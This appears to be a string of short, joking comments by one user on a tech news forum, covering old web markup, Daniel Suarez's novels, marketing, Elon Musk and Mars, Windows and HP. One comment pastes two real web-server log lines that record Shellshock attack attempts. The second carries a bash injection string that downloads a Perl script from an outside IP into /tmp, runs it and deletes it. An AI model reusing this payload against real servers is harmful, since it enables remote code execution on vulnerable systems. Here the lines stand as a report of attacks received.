"the web would have become a giant fax machine where pictures of text would be passed along"

No, we would have just kept using tables and <font> tags.

The book Daemon by Daniel Suarez was pretty good. Started out just the littlest bit cheesy -- someone was killed by the Internet! -- but I'm glad I stuck with it because it quickly became really good. The sequel, Freedom (TM), did nothing for me.

No, she should stick with copyright infringement. More precedent, bigger penalties.

Hey, who's to say they didn't buy YOUR company's coat because your name was in their head because of that pen?

That's the beauty of marketing -- it can't be disproven. :D

I was about to point out that this site has always had a two-part subhead: "News for nerds. Stuff that matters." and I would say a 30-year war "matters", but now all I see (on the classic site) is the logo -- no more tagline. So, no fucking idea.

Put a million people on Mars with no oil, and what are they going to do? That's right -- they'll attack Earth to get our oil! No thanks, Elon.

I, for one, will *not* welcome our new Martian overlords.

> Windows 28 will simultaneously require, and forbid, the use of a touchscreen

You owe me one (1) new keyboard and one (1) new monitor.

No no no, you want Windows RG (Really Good) edition.

There are only two hard things in computer science: caching, naming, and off-by-1 errors

What of 11 through 94? 96? 97? 99 through 1,999?

Full list of planned features here.

Last time they had a $99 tablet they sold like mad. This should work out well. :D

"HP... wants to offer a range of products to meet different needs..."

Understatement of the century. I think HP has more SKUs than customers.

Thanks for the tip. On mine:

/var/log/httpd/access_log:89.207.135.125 - - [25/Sep/2014:07:14:41 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 3 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
 
/var/log/httpd/access_log:213.5.67.223 - - [25/Sep/2014:15:08:27 -0400] "GET /cgi-bin/hello HTTP/1.0" 404 3 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\""

Rule #1: Anything that isn't nailed down, is ours.

Rule #2: Anything that we can pry loose, wasn't nailed down.